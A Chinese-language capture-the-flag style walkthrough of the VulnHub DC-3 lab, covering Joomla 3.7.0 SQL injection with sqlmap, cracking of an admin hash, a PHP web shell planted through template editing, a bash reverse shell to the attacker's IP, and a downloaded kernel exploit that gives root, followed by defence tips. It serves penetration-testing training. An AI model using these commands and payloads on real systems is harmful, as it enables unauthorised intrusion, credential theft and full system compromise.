vulnhub系列10——DC 3
字数 1117 2025-08-12 11:34:31
DC-3 靶场渗透测试实战教学文档
1. 靶场概述
DC-3 是 Vulnhub 上的一个渗透测试靶机,基于 Joomla CMS 构建,包含多个漏洞利用点和提权路径。本教学文档将详细讲解从信息收集到最终提权的完整渗透过程。
2. 信息收集阶段
2.1 网络扫描
使用 netdiscover 发现靶机 IP:
netdiscover -r 192.168.56.0/24
2.2 端口扫描
使用 nmap 进行全面扫描:
nmap -sV -Pn -sC 192.168.56.140 -p 0-65535
扫描结果显示:
- 仅开放 80 端口
- 运行的是 Joomla CMS
2.3 Web 应用识别
访问 80 端口确认是 Joomla 站点:
- 使用 Kali 自带工具识别 Joomla 版本为 3.7.0
- 发现后台路径(通常为 /administrator)
3. 漏洞利用阶段
3.1 Joomla SQL 注入漏洞
Joomla 3.7.0 存在已知 SQL 注入漏洞(CVE-2017-8917):
- 验证漏洞是否存在
- 使用 sqlmap 进行自动化利用:
sqlmap -u "http://192.168.56.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs
3.2 获取管理员凭据
sqlmap 提取的密码哈希:
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
使用 John the Ripper 破解:
john --format=bcrypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
破解结果:
- 用户名:admin
- 密码:snoopy
4. 获取初始访问
4.1 登录后台
访问 Joomla 后台(/administrator)使用凭据:
- 用户名:admin
- 密码:snoopy
4.2 获取 Web Shell
通过模板编辑获取 Web Shell:
- 在设置中启用模板预览功能
- 编辑任意模板文件,插入 PHP 恶意代码:
<?php system($_GET['cmd']); ?>
- 保存模板并通过预览功能触发代码执行
4.3 反弹 Shell
使用 nc 或 bash 反弹 shell:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
获取稳定 shell:
python -c "import pty;pty.spawn('/bin/bash');"
5. 权限提升阶段
5.1 枚举系统信息
检查系统用户:
cat /etc/passwd
发现存在 dc 用户
检查系统版本:
cat /etc/*-release
确认系统为 Ubuntu 16.04
5.2 查找 SUID 权限文件
find / -perm -u=s -type f 2>/dev/null
5.3 利用内核漏洞提权
使用 CVE-2016-4557 漏洞:
- 在攻击机启动 HTTP 服务:
python3 -m http.server 80
- 在靶机下载 exploit:
cd /tmp
wget http://攻击机IP/39772.zip
unzip 39772.zip
- 编译并运行 exploit:
chmod +x exploit
./exploit
成功获取 root 权限。
6. 总结
本靶场渗透路径:
- 信息收集发现 Joomla 3.7.0
- 利用 SQL 注入获取管理员凭据
- 通过模板编辑获取 Web Shell
- 反弹 Shell 获取交互式访问
- 利用内核漏洞实现提权
关键点:
- Joomla 3.7.0 的 SQL 注入漏洞利用
- 通过模板编辑获取 Web Shell 的技术
- Ubuntu 16.04 内核漏洞提权方法
7. 防御建议
- 及时更新 CMS 系统和插件
- 限制后台模板编辑权限
- 定期更新操作系统内核
- 实施最小权限原则
- 监控异常文件修改行为